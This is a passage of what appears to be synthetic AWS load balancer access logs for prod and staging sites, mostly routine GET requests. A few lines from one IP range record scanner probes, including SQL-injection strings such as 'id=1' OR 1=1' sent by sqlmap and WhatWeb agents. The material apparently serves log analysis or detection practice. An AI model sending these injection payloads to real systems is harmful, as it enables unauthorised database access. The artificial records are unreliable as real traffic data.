"curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd8d-2124e4264b9d419295492d4d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:05.852632Z "forward" "-" "-" "10.0.174.159:443" "302" "-" "-" +https 2024-11-01T02:42:06.647226Z prod-api-alb 9.195.40.110:19871 10.0.22.11:443 0.053951 0.482737 0.071210 200 200 640 11137 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd8e-ebdcceb538214b31b66fa0de" "prod-api-alb.example.com" "-" 10 2024-11-01T02:42:06.647226Z "forward" "-" "-" "10.0.22.11:443" "200" "-" "-" +https 2024-11-01T02:42:07.459267Z prod-api-alb 152.73.175.169:60473 10.0.156.163:443 0.055259 0.397589 0.076558 200 200 932 13999 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd8f-036f3995bda1460f871d2b44" "prod-api-alb.example.com" "-" 5 2024-11-01T02:42:07.459267Z "forward" "-" "-" "10.0.156.163:443" "200" "-" "-" +https 2024-11-01T02:42:09.213272Z staging-alb 246.244.96.108:43465 199.46.196.91:80 0.104530 0.383815 0.075155 200 200 868 5637 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd91-566bdf2469b145e2ad7de254" "staging-alb.example.com" "-" 2 2024-11-01T02:42:09.213272Z "forward" "-" "-" "199.46.196.91:80" "200" "-" "-" +http 2024-11-01T02:42:11.029469Z staging-alb 104.126.68.125:24811 242.96.70.0:80 0.097305 0.545524 0.018753 200 200 863 9826 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd93-0c157bf63c52463795acc899" "staging-alb.example.com" "-" 1 2024-11-01T02:42:11.029469Z "forward" "-" "-" "242.96.70.0:80" "200" "-" "-" +https 2024-11-01T02:42:12.428529Z prod-web-alb 137.41.210.137:28438 10.0.49.54:443 0.087949 0.108180 0.071374 404 404 921 12135 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd94-c53c28bd2e624c338bcfeebf" "prod-web-alb.example.com" "-" 6 2024-11-01T02:42:12.428529Z "forward" "-" "-" "10.0.49.54:443" "404" "-" "-" +https 2024-11-01T02:42:13.711241Z staging-alb 113.216.160.242:29647 245.138.41.46:443 0.121429 0.722307 0.073859 200 200 432 3273 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd95-9fc465982c3045f1b62441a3" "staging-alb.example.com" "-" 3 2024-11-01T02:42:13.711241Z "forward" "-" "-" "245.138.41.46:443" "200" "-" "-" +https 2024-11-01T02:42:15.164762Z prod-web-alb 80.92.237.39:31767 10.0.246.185:443 0.059896 0.098843 0.065724 200 200 171 11699 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd97-290cf379a42240eeaacb7561" "prod-web-alb.example.com" "-" 9 2024-11-01T02:42:15.164762Z "forward" "-" "-" "10.0.246.185:443" "200" "-" "-" +https 2024-11-01T02:42:15.307958Z prod-api-alb 2.21.112.145:18147 10.0.145.179:443 0.058272 0.403987 0.097247 200 200 382 4626 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd97-0b606e9e13224e92a9df0461" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:15.307958Z "forward" "-" "-" "10.0.145.179:443" "200" "-" "-" +http 2024-11-01T02:42:15.536326Z staging-alb 11.155.96.59:49885 66.243.173.167:8080 0.019904 0.702205 0.001772 301 301 972 8749 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd97-d323b6d655634968afc3f24d" "staging-alb.example.com" "-" 8 2024-11-01T02:42:15.536326Z "forward" "-" "-" "66.243.173.167:8080" "301" "-" "-" +https 2024-11-01T02:42:15.637867Z prod-api-alb 212.48.190.152:52043 10.0.97.23:443 0.049083 0.104674 0.005943 404 404 676 14902 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd97-f0f9f60353104bd08d86c7f9" "prod-api-alb.example.com" "-" 3 2024-11-01T02:42:15.637867Z "forward" "-" "-" "10.0.97.23:443" "404" "-" "-" +https 2024-11-01T02:42:17.009932Z staging-alb 157.210.247.94:54646 219.135.182.247:8080 0.016721 0.604534 0.010123 200 200 452 11575 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd99-01dd4987be3e41e680a4d87a" "staging-alb.example.com" "-" 4 2024-11-01T02:42:17.009932Z "forward" "-" "-" "219.135.182.247:8080" "200" "-" "-" +https 2024-11-01T02:42:18.255378Z prod-web-alb 0.151.48.8:64122 10.0.253.230:443 0.073079 0.091772 0.033523 200 200 926 13175 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd9a-349716fb38f74880b9c869aa" "prod-web-alb.example.com" "-" 5 2024-11-01T02:42:18.255378Z "forward" "-" "-" "10.0.253.230:443" "200" "-" "-" +https 2024-11-01T02:42:18.733122Z prod-web-alb 33.66.6.145:11682 10.0.187.81:443 0.018403 0.200949 0.036782 404 404 804 10985 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd9a-8afca99b1c4b4b2f9102b6d3" "prod-web-alb.example.com" "-" 10 2024-11-01T02:42:18.733122Z "forward" "-" "-" "10.0.187.81:443" "404" "-" "-" +https 2024-11-01T02:42:20.149942Z prod-api-alb 107.193.186.48:50977 10.0.184.226:443 0.068283 0.477918 0.095968 404 404 550 13916 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd9c-84d9677a707b4761bf30b071" "prod-api-alb.example.com" "-" 0 2024-11-01T02:42:20.149942Z "forward" "-" "-" "10.0.184.226:443" "404" "-" "-" +https 2024-11-01T02:42:21.979684Z prod-web-alb 105.99.245.124:44751 10.0.152.225:443 0.000285 0.427260 0.024506 302 302 81 206 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd9d-4ce226ca3ba54a6bae3f4279" "prod-web-alb.example.com" "-" 5 2024-11-01T02:42:21.979684Z "forward" "-" "-" "10.0.152.225:443" "302" "-" "-" +https 2024-11-01T02:42:23.763690Z staging-alb 217.141.67.11:42441 40.117.139.77:80 0.079862 0.078715 0.038599 200 200 750 10986 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd9f-993a12d8f8e4425b8b2dd1d0" "staging-alb.example.com" "-" 8 2024-11-01T02:42:23.763690Z "forward" "-" "-" "40.117.139.77:80" "200" "-" "-" +http 2024-11-01T02:42:25.381119Z staging-alb 94.20.92.213:56510 223.213.47.35:8080 0.108565 0.715223 0.051484 302 302 916 6135 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dda1-6a6a475d029c40ea8e16c285" "staging-alb.example.com" "-" 4 2024-11-01T02:42:25.381119Z "forward" "-" "-" "223.213.47.35:8080" "302" "-" "-" +https 2024-11-01T02:42:26.079657Z prod-api-alb 50.7.11.34:60011 10.0.34.230:443 0.009657 0.368191 0.040041 200 200 114 3146 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dda2-e67d979dfa394dbe9367666c" "prod-api-alb.example.com" "-" 9 2024-11-01T02:42:26.079657Z "forward" "-" "-" "10.0.34.230:443" "200" "-" "-" +https 2024-11-01T02:42:26.581659Z prod-api-alb 23.164.117.114:59466 10.0.188.172:443 0.083035 0.298014 0.091981 200 200 301 2298 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dda2-92dc0d2c57a440f4a1666b0d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:42:26.581659Z "forward" "-" "-" "10.0.188.172:443" "200" "-" "-" +https 2024-11-01T02:42:26.892916Z prod-api-alb 193.27.228.139:31667 10.0.196.241:443 0.060638 0.003163 0.085951 500 500 154 11189 "POST /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dda2-ee59ee676d0c42fcbe0a2dfb" "-" "-" 8 2024-11-01T02:42:26.892916Z "forward" "-" "-" "10.0.196.241:443" "500" "-" "-" +https 2024-11-01T02:42:28.632751Z prod-web-alb 21.116.116.150:40661 10.0.252.194:443 0.016714 0.286347 0.070779 404 404 440 13221 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dda4-552733d3851c42f1911727ea" "prod-web-alb.example.com" "-" 0 2024-11-01T02:42:28.632751Z "forward" "-" "-" "10.0.252.194:443" "404" "-" "-" +https 2024-11-01T02:42:29.213802Z prod-web-alb 181.156.94.128:45015 10.0.200.62:443 0.087569 0.327290 0.076786 200 200 731 8203 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dda5-e54649921424490fbb998aaf" "prod-web-alb.example.com" "-" 10 2024-11-01T02:42:29.213802Z "forward" "-" "-" "10.0.200.62:443" "200" "-" "-" +https 2024-11-01T02:42:30.318886Z prod-web-alb 6.70.82.234:30023 10.0.229.89:443 0.005516 0.307057 0.036881 404 404 778 12722 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dda6-5dbab4425e164f56959b1170" "prod-web-alb.example.com" "-" 8 2024-11-01T02:42:30.318886Z "forward" "-" "-" "10.0.229.89:443" "404" "-" "-" +https 2024-11-01T02:42:32.076174Z staging-alb 230.56.227.57:38302 133.171.30.50:80 0.064197 0.570652 0.109186 200 200 924 5220 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dda8-b8f113c12295432a9e0d3078" "staging-alb.example.com" "-" 4 2024-11-01T02:42:32.076174Z "forward" "-" "-" "133.171.30.50:80" "200" "-" "-" +https 2024-11-01T02:42:32.987645Z prod-web-alb 62.27.185.245:58850 10.0.254.126:443 0.085118 0.430406 0.088212 404 404 469 3504 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dda8-14d5a6f039ba4e9e817627aa" "prod-web-alb.example.com" "-" 1 2024-11-01T02:42:32.987645Z "forward" "-" "-" "10.0.254.126:443" "404" "-" "-" +https 2024-11-01T02:42:33.326926Z prod-api-alb 119.207.175.95:31273 10.0.140.132:443 0.097336 0.469863 0.059946 301 301 321 8049 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dda9-3be5f9dfc7fb425bb4ad69f1" "prod-api-alb.example.com" "-" 5 2024-11-01T02:42:33.326926Z "forward" "-" "-" "10.0.140.132:443" "301" "-" "-" +https 2024-11-01T02:42:34.792509Z prod-web-alb 190.146.75.221:23800 10.0.124.221:443 0.052931 0.213489 0.027935 301 301 640 4519 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddaa-992fe646a0d04ab2a536d6a0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:42:34.792509Z "forward" "-" "-" "10.0.124.221:443" "301" "-" "-" +https 2024-11-01T02:42:36.648389Z staging-alb 151.67.74.125:54551 254.178.230.253:8080 0.056212 0.338000 0.031935 200 200 887 4026 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddac-c072a5d4d2154854ab3b0da8" "staging-alb.example.com" "-" 3 2024-11-01T02:42:36.648389Z "forward" "-" "-" "254.178.230.253:8080" "200" "-" "-" +https 2024-11-01T02:42:37.275728Z prod-api-alb 182.43.156.72:28807 10.0.133.185:443 0.020174 0.024980 0.080945 404 404 258 7863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddad-ebf738f4664d45998cb28ea9" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:37.275728Z "forward" "-" "-" "10.0.133.185:443" "404" "-" "-" +https 2024-11-01T02:42:38.624975Z prod-api-alb 150.171.53.47:33698 10.0.196.168:443 0.058351 0.217529 0.080474 200 200 389 7185 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddae-6c826508554146418a5e79d5" "prod-api-alb.example.com" "-" 4 2024-11-01T02:42:38.624975Z "forward" "-" "-" "10.0.196.168:443" "200" "-" "-" +https 2024-11-01T02:42:39.747659Z prod-api-alb 60.147.33.207:61900 10.0.195.103:443 0.071755 0.010432 0.055731 404 404 244 3563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddaf-6e66679a60244c9dbfeb1c9b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:42:39.747659Z "forward" "-" "-" "10.0.195.103:443" "404" "-" "-" +http 2024-11-01T02:42:40.722219Z staging-alb 193.27.228.38:45822 206.182.84.145:8080 0.031242 0.174163 0.043898 403 403 717 4731 "POST /login?id=1'-- HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddb0-af416cc08d9f4d118ec64ffa" "-" "-" 9 2024-11-01T02:42:40.722219Z "forward" "-" "-" "206.182.84.145:8080" "403" "-" "-" +https 2024-11-01T02:42:40.917050Z prod-web-alb 218.228.27.152:39030 10.0.106.21:443 0.029269 0.241985 0.086109 200 200 290 2428 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb0-3c85ce9ff6064189ad70500f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:42:40.917050Z "forward" "-" "-" "10.0.106.21:443" "200" "-" "-" +https 2024-11-01T02:42:41.131031Z prod-web-alb 204.252.15.123:46578 10.0.206.108:443 0.048558 0.326775 0.083917 302 302 305 11136 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddb1-07a1bf8058bb403e940d7a6a" "prod-web-alb.example.com" "-" 5 2024-11-01T02:42:41.131031Z "forward" "-" "-" "10.0.206.108:443" "302" "-" "-" +http 2024-11-01T02:42:42.597070Z staging-alb 161.84.26.101:54655 57.145.201.214:8080 0.143655 0.397781 0.045412 404 404 882 2061 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddb2-b417be2508c64f499b18f159" "staging-alb.example.com" "-" 6 2024-11-01T02:42:42.597070Z "forward" "-" "-" "57.145.201.214:8080" "404" "-" "-" +http 2024-11-01T02:42:43.100797Z staging-alb 102.200.206.216:62594 198.234.252.0:443 0.127835 0.252005 0.088508 200 200 469 8138 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddb3-8051cfbd03344897b866322f" "staging-alb.example.com" "-" 6 2024-11-01T02:42:43.100797Z "forward" "-" "-" "198.234.252.0:443" "200" "-" "-" +https 2024-11-01T02:42:43.646939Z prod-api-alb 15.38.188.14:29152 10.0.68.221:443 0.022254 0.170245 0.016590 301 301 327 7350 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddb3-1b2153c29e9d452abd553969" "prod-api-alb.example.com" "-" 9 2024-11-01T02:42:43.646939Z "forward" "-" "-" "10.0.68.221:443" "301" "-" "-" +https 2024-11-01T02:42:44.283046Z prod-api-alb 234.64.92.189:19963 10.0.112.18:443 0.092427 0.221967 0.053635 200 200 484 6966 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddb4-0df649756c9544aba41b24f8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:42:44.283046Z "forward" "-" "-" "10.0.112.18:443" "200" "-" "-" +https 2024-11-01T02:42:45.868428Z staging-alb 180.110.87.46:12337 160.4.136.26:8080 0.099261 0.276986 0.030428 200 200 384 7086 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ddb5-bb5c775dc88643398125a067" "staging-alb.example.com" "-" 3 2024-11-01T02:42:45.868428Z "forward" "-" "-" "160.4.136.26:8080" "200" "-" "-" +https 2024-11-01T02:42:46.249330Z prod-web-alb 244.127.146.48:27890 10.0.10.40:443 0.001398 0.009096 0.089475 404 404 734 11515 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb6-030997f68f944cb695347c71" "prod-web-alb.example.com" "-" 8 2024-11-01T02:42:46.249330Z "forward" "-" "-" "10.0.10.40:443" "404" "-" "-" +https 2024-11-01T02:42:46.719645Z prod-web-alb 226.130.122.56:30104 10.0.239.52:443 0.005364 0.485738 0.015234 302 302 922 770 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb6-03997c79dd3e409db2df781a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:42:46.719645Z "forward" "-" "-" "10.0.239.52:443" "302" "-" "-" +https 2024-11-01T02:42:48.383438Z prod-web-alb 91.56.214.213:26341 10.0.236.231:443 0.039060 0.258190 0.014714 200 200 405 749 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddb8-643d3f47a2fd45898e9bb0a9" "prod-web-alb.example.com" "-" 0 2024-11-01T02:42:48.383438Z "forward" "-" "-" "10.0.236.231:443" "200" "-" "-" +https 2024-11-01T02:42:50.090615Z prod-api-alb 168.238.216.196:42604 10.0.3.253:443 0.095555 0.122160 0.085922 200 200 162 14350 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddba-4dfae5dd79004f3cba9f1a62" "prod-api-alb.example.com" "-" 8 2024-11-01T02:42:50.090615Z "forward" "-" "-" "10.0.3.253:443" "200" "-" "-" +https 2024-11-01T02:42:51.408678Z prod-api-alb 213.34.162.105:11879 10.0.117.38:443 0.072702 0.471781 0.057437 200 200 72 4272 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddbb-dc364a88c16b4591b6169785" "prod-api-alb.example.com" "-" 7 2024-11-01T02:42:51.408678Z "forward" "-" "-" "10.0.117.38:443" "200" "-" "-" +https 2024-11-01T02:42:52.265486Z prod-api-alb 193.27.228.131:45031 10.0.185.110:443 0.005202 0.180320 0.019369 500 500 878 6064 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddbc-e0b176ded7784830befd7c87" "-" "-" 1 2024-11-01T02:42:52.265486Z "forward" "-" "-" "10.0.185.110:443" "500" "-" "-" +https 2024-11-01T02:42:53.448360Z prod-web-alb 218.148.120.54:60922 10.0.5.7:443 0.091818 0.499522 0.022026 302 302 454 9358 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddbd-e0f98fb2af864068bb2f529e" "prod-web-alb.example.com" "-" 2 2024-11-01T02:42:53.448360Z "forward" "-" "-" "10.0.5.7:443" "302" "-" "-" +https 2024-11-01T02:42:53.998109Z prod-api-alb 71.240.98.255:55779 10.0.164.99:443 0.078909 0.017248 0.094448 200 200 920 6743 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddbd-253caa1f8abc450ca013ac25" 